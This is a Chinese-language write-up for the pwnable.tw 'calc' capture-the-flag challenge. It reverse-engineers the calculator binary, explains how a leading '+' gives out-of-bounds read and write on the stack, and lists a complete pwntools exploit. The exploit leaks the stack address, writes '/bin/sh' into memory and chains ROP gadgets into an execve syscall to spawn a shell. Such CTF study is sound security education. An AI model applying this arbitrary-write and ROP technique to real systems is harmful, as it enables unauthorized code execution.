pwnable.tw-calc题解

  1. 1. 程序分析
  2. 2. 漏洞分析
  3. 3. exp编写

折腾了两三天。。wtcl

程序分析

查看保护,没开PIE。

image-20220223214254094

且程序是一个静态链接文件:

image-20220223221601784

大致功能是一个计算器,

image-20220223214346664

逆向分析:main函数如下

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
ssignal(14, timeout);
alarm('<');
puts("=== Welcome to SECPROG calculator ===");
fflush(stdout);
calc();
return puts("Merry Christmas!");
}

主要功能都在calc(), 申请input和result分别用于存储输入和运算结果,且每一次循环时两个数组元素都会清零. calcget_exprparse_expr分别处理输入和解析运算逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int calc()
{
int result[101]; // [esp+18h] [ebp-5A0h] BYREF
char input[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
unsigned int v3; // [esp+5ACh] [ebp-Ch]

v3 = __readgsdword(0x14u);
while ( 1 )
{
bzero(input, 02000u);
if ( !get_expr(input, 1024) )
break;
init_pool(result); // 赋值为0
if ( parse_expr(input, result) )
{
printf("%d\n", result[result[0]]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v3;
}

get_expr 为输入函数, 程序对输入进行了过滤, 只会接受\+ - * / % 0-9. 输入处并无漏洞.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl get_expr(int a1, int a2)
{
int j; // eax
char c; // [esp+1Bh] [ebp-Dh] BYREF
int i; // [esp+1Ch] [ebp-Ch]

i = 0;
while ( i < a2 && read(0, &c, 1) != -1 && c != '\n' )// 输入不为\n
{
if ( c == '+' || c == '-' || c == '*' || c == '/' || c == '%' || c > '/' && c <= '9' )
{
j = i++;
*(a1 + j) = c;
}
}
*(i + a1) = 0;
return i; // 返回输入的字符个数
}

parse_expr为解析和运算函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
// parse_expr(s, v1)
int __cdecl parse_expr(int input, _DWORD *result)
{
int len2; // eax
int input_; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int count_of_op; // [esp+28h] [ebp-80h]
int len; // [esp+2Ch] [ebp-7Ch]
char *num1; // [esp+30h] [ebp-78h]
int value; // [esp+34h] [ebp-74h]
char operators[100]; // [esp+38h] [ebp-70h] BYREF
unsigned int v11; // [esp+9Ch] [ebp-Ch]

v11 = __readgsdword(0x14u);
input_ = input;
count_of_op = 0;
bzero(operators, 0144u);
for ( i = 0; ; ++i )
{
if ( (*(i + input) - 48) > 9 ) // 循环到第一个符号
{
len = i + input - input_; // count
num1 = malloc(len + 1);
memcpy(num1, input_, len); // num1
num1[len] = 0; // 末位设置为0
if ( !strcmp(num1, "0") ) // 0异常
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
value = atoi(num1); // int()
if ( value > 0 )
{
len2 = (*result)++; // result[0] 存着运算的数字的count
result[len2 + 1] = value; // 后面存的是数据
}
if ( *(i + input) && (*(i + 1 + input) - 48) > 9 )// 运算符后面的数据为空
{
puts("expression error!");
fflush(stdout);
return 0;
}
input_ = i + 1 + input;
if ( operators[count_of_op] )
{
switch ( *(i + input) )
{
case '%':
case '*':
case '/':
if ( operators[count_of_op] != '+' && operators[count_of_op] != '-' )// 运算优先级,先运算优先级高的
goto LABEL_14;
operators[++count_of_op] = *(i + input);
break;
case '+':
case '-':
LABEL_14:
eval(result, operators[count_of_op]);
operators[count_of_op] = *(i + input);
break;
default:
eval(result, operators[count_of_op--]);
break;
}
}
else
{
operators[count_of_op] = *(i + input);
}
if ( !*(i + input) ) // 无数据
break;
}
}
while ( count_of_op >= 0 )
eval(result, operators[count_of_op--]);
return 1;
}

大致逻辑是依次读取输入,识别数字和字符,然后进行运算,运算过程中考虑优先级.其中result[0]为读取到的数字个数.result[1]开始才是参与运算的数字.

同时程序也进行了一些检查,如100+1/0

image-20220223220011870

eval函数为运算函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
_DWORD *__cdecl eval(_DWORD *num, char expr)
{
_DWORD *result; // eax

if ( expr == '+' )
{
num[*num - 1] += num[*num]; // num[0] = num[0] + num[1] 任意读
}
else if ( expr > '+' )
{
if ( expr == '-' )
{
num[*num - 1] -= num[*num]; // num[0] = num[0] - num[1]
}
else if ( expr == '/' )
{
num[*num - 1] /= num[*num];
}
}
else if ( expr == '*' )
{
num[*num - 1] *= num[*num];
}
result = num;
--*num;
return result;
}

以上为程序的大致逻辑分析.

漏洞分析

本题漏洞点比较难找.漏洞在于对+num 格式运算的处理,如输入+100就会输出异常:

image-20220223220232652

分析:

当输入+100 时,运算:

1
2
num[0] = 1
num[1] = 100

eval函数中会进入+运算的分支: num[*num - 1] += num[*num];

image-20220223220931393

即: num[0] = num[0] + num[1] = 1 + num[1]

又因为输出时,--num 所以eval返回时num[0] == num[1] == 100

而输出时会输出.result[result[0]]result[num[1]] => result[100]

image-20220223221124270

-100同理.

当输入如+300+100时可任意写:

1
2
3
4
 +300+100 
-> num[0] = num[1] = 300
-> num[*num - 1] += num[*num] -> num[300] = num[300] + 100 # 任意写

所以可以构造ROPChain覆盖返回地址劫持程序运行.

exp编写

  1. ROP链:

直接进行系统调用执行命令即可, execve系统调用:

1
2
3
4
5
eax = 0xb
ebx = '/bin/sh'
ecx = 0x0
edx = 0x0
int 80

ROP:

1
2
3
4
5
6
7
8
9
10
11
12
pop_eax_ret = 0x0805c34b
pop_edx_ecx_ebx = 0x080701d0
int_80 = 0x08049a21

stack:
0x080701d0 ; pop_edx_ecx_ebx
0 ; edx
0 ; ecx
bin_sh ; /bin/sh
0x0805c34b ; pop_eax_ret
0xb ; eax
0x08049a21 ; int_80

这里由于没有/bin/sh字符串所以我们需要把字符串写进栈里.

虽然

  1. 泄露栈地址:

需要泄露栈的地址,这样才能在ROP链中填写写入的/bin/sh的地址. 这里通过泄露main函数的ebp的地址来泄露栈地址: 计算和调试过程省略了, 需要注意的是360 = 1440/4 . 泄露栈地址之后可以计算出result数组的地址.

1
2
3
4
5
6
7
8
io.recvline()
# leak stack address(main ebp) : +360
io.sendline(b'+360')
main_ebp = int(io.recvline().strip())
if main_ebp < 0:
main_ebp = 0xffffffff+main_ebp+1
print(f"[+] main ebp => {hex(main_ebp)}")
result_address = main_ebp - (0xffffd4f8 - 0xffffcf38)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
context.log_level = 'debug'

io = process('./calc')
# io = remote('chall.pwnable.tw',10100)
pause()

# ROP
# bin_sh = 0x080c385d
# bin_sh = 0x080d480d
pop_eax_ret = 0x0805c34b
pop_edx_ecx_ebx = 0x080701d0
int_80 = 0x08049a21

io.recvline()

# leak stack address(main ebp) : +360
io.sendline(b'+360')
main_ebp = int(io.recvline().strip())
if main_ebp < 0:
main_ebp = 0xffffffff+main_ebp+1

print(f"[+] main ebp => {hex(main_ebp)}")
result_address = main_ebp - (0xffffd4f8 - 0xffffcf38)


# use main stack write shellcode.
# +361
def send(location,rop):
if rop&0x80000000 == 0x80000000:
rop = rop-0xffffffff-1 # 补码
io.sendline(f"+{location}".encode())
r = int(io.recvline().strip())
if rop - r > 0:
io.sendline(f"+{location}+{(rop-r)}".encode())
io.recvline()
elif rop - r < 0:
io.sendline(f"+{location}-{(r-rop)}".encode())
io.recvline()

# write /bin/sh +370
send(370,int.from_bytes(b'/bin',byteorder='little'))
send(371,int.from_bytes(b'/sh\0',byteorder='little'))
bin_sh = result_address + 370*4

print(f"/bin/sh address => {hex(bin_sh)}")

send(361,pop_edx_ecx_ebx)
send(362,0)
send(363,0)
pause()
send(364,bin_sh)
send(365,pop_eax_ret)
send(366,0xb)
send(367,int_80)
io.sendline()
io.interactive()